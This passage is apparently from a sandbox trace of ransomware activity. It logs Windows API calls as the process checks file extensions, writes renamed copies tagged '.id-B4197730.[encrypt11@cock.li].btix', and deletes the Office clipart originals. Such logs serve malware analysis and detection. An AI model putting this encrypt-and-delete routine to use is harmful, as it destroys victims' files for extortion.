Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.085] lstrlenW (lpString=".zip") returned 4 [0052.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.085] lstrlenW (lpString=".rar") returned 4 [0052.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString=".bz2") returned 4 [0052.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString=".7z") returned 3 [0052.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.085] lstrlenW (lpString=".dbf") returned 4 [0052.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.085] lstrlenW (lpString=".1cd") returned 4 [0052.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.086] lstrlenW (lpString=".jpg") returned 4 [0052.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.086] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.086] lstrlenW (lpString="AN01173_.WMF") returned 12 [0052.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.104] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=26332) returned 1 [0052.104] CloseHandle (hObject=0x2e0) returned 1 [0052.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0052.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.104] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.104] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.104] GetLastError () returned 0x0 [0052.104] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x66dc, lpOverlapped=0x0) returned 1 [0052.186] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x66e0, lpOverlapped=0x0) returned 1 [0052.187] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.187] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.187] SetEndOfFile (hFile=0x364) returned 1 [0052.187] CloseHandle (hObject=0x364) returned 1 [0052.188] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.188] SetEndOfFile (hFile=0x2e0) returned 1 [0052.189] CloseHandle (hObject=0x2e0) returned 1 [0052.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0052.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.189] lstrlenW (lpString=".doc") returned 4 [0052.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.189] lstrlenW (lpString=".docx") returned 5 [0052.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.190] lstrlenW (lpString=".pdf") returned 4 [0052.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".xls") returned 4 [0052.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.190] lstrlenW (lpString=".xlsx") returned 5 [0052.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.190] lstrlenW (lpString=".ppt") returned 4 [0052.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.190] lstrlenW (lpString=".zip") returned 4 [0052.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.190] lstrlenW (lpString=".rar") returned 4 [0052.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".bz2") returned 4 [0052.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".7z") returned 3 [0052.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.190] lstrlenW (lpString=".dbf") returned 4 [0052.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.190] lstrlenW (lpString=".1cd") returned 4 [0052.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.190] lstrlenW (lpString=".jpg") returned 4 [0052.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.190] lstrlenW (lpString=".doc") returned 4 [0052.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".docx") returned 5 [0052.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.190] lstrlenW (lpString=".pdf") returned 4 [0052.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".xls") returned 4 [0052.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.191] lstrlenW (lpString=".xlsx") returned 5 [0052.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.191] lstrlenW (lpString=".ppt") returned 4 [0052.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.191] lstrlenW (lpString=".zip") returned 4 [0052.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.191] lstrlenW (lpString=".rar") returned 4 [0052.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString=".bz2") returned 4 [0052.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString=".7z") returned 3 [0052.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.191] lstrlenW (lpString=".dbf") returned 4 [0052.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.191] lstrlenW (lpString=".1cd") returned 4 [0052.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0052.191] lstrlenW (lpString=".jpg") returned 4 [0052.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.191] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.191] lstrlenW (lpString="AN03500_.WMF") returned 12 [0052.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.192] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=9240) returned 1 [0052.192] CloseHandle (hObject=0x2e0) returned 1 [0052.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0052.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.192] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.192] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.192] GetLastError () returned 0x0 [0052.192] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2418, lpOverlapped=0x0) returned 1 [0052.249] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2420, lpOverlapped=0x0) returned 1 [0052.249] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.250] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.250] SetEndOfFile (hFile=0x364) returned 1 [0052.250] CloseHandle (hObject=0x364) returned 1 [0052.250] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.250] SetEndOfFile (hFile=0x2e0) returned 1 [0052.251] CloseHandle (hObject=0x2e0) returned 1 [0052.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0052.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.252] lstrlenW (lpString=".doc") returned 4 [0052.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.252] lstrlenW (lpString=".docx") returned 5 [0052.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.252] lstrlenW (lpString=".pdf") returned 4 [0052.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.252] lstrlenW (lpString=".xls") returned 4 [0052.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.252] lstrlenW (lpString=".xlsx") returned 5 [0052.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.252] lstrlenW (lpString=".ppt") returned 4 [0052.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.252] lstrlenW (lpString=".zip") returned 4 [0052.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.252] lstrlenW (lpString=".rar") returned 4 [0052.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.252] lstrlenW (lpString=".bz2") returned 4 [0052.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.252] lstrlenW (lpString=".7z") returned 3 [0052.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.252] lstrlenW (lpString=".dbf") returned 4 [0052.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.253] lstrlenW (lpString=".1cd") returned 4 [0052.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.253] lstrlenW (lpString=".jpg") returned 4 [0052.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.253] lstrlenW (lpString=".doc") returned 4 [0052.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString=".docx") returned 5 [0052.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.253] lstrlenW (lpString=".pdf") returned 4 [0052.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString=".xls") returned 4 [0052.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.253] lstrlenW (lpString=".xlsx") returned 5 [0052.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.253] lstrlenW (lpString=".ppt") returned 4 [0052.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.253] lstrlenW (lpString=".zip") returned 4 [0052.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.253] lstrlenW (lpString=".rar") returned 4 [0052.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString=".bz2") returned 4 [0052.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.253] lstrlenW (lpString=".7z") returned 3 [0052.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.253] lstrlenW (lpString=".dbf") returned 4 [0052.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.254] lstrlenW (lpString=".1cd") returned 4 [0052.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0052.254] lstrlenW (lpString=".jpg") returned 4 [0052.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.254] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.254] lstrlenW (lpString="AN04174_.WMF") returned 12 [0052.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.254] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=2636) returned 1 [0052.254] CloseHandle (hObject=0x2e0) returned 1 [0052.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0052.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.255] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.255] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.255] GetLastError () returned 0x0 [0052.255] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xa4c, lpOverlapped=0x0) returned 1 [0052.268] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xa50, lpOverlapped=0x0) returned 1 [0052.269] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.269] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.269] SetEndOfFile (hFile=0x364) returned 1 [0052.270] CloseHandle (hObject=0x364) returned 1 [0052.270] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.270] SetEndOfFile (hFile=0x2e0) returned 1 [0052.271] CloseHandle (hObject=0x2e0) returned 1 [0052.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0052.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.272] lstrlenW (lpString=".doc") returned 4 [0052.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString=".docx") returned 5 [0052.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.272] lstrlenW (lpString=".pdf") returned 4 [0052.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString=".xls") returned 4 [0052.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.272] lstrlenW (lpString=".xlsx") returned 5 [0052.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.272] lstrlenW (lpString=".ppt") returned 4 [0052.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.272] lstrlenW (lpString=".zip") returned 4 [0052.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.272] lstrlenW (lpString=".rar") returned 4 [0052.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString=".bz2") returned 4 [0052.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString=".7z") returned 3 [0052.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.272] lstrlenW (lpString=".dbf") returned 4 [0052.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.272] lstrlenW (lpString=".1cd") returned 4 [0052.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.272] lstrlenW (lpString=".jpg") returned 4 [0052.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.273] lstrlenW (lpString=".doc") returned 4 [0052.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString=".docx") returned 5 [0052.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.273] lstrlenW (lpString=".pdf") returned 4 [0052.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString=".xls") returned 4 [0052.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.273] lstrlenW (lpString=".xlsx") returned 5 [0052.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.273] lstrlenW (lpString=".ppt") returned 4 [0052.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.273] lstrlenW (lpString=".zip") returned 4 [0052.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.273] lstrlenW (lpString=".rar") returned 4 [0052.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString=".bz2") returned 4 [0052.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString=".7z") returned 3 [0052.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 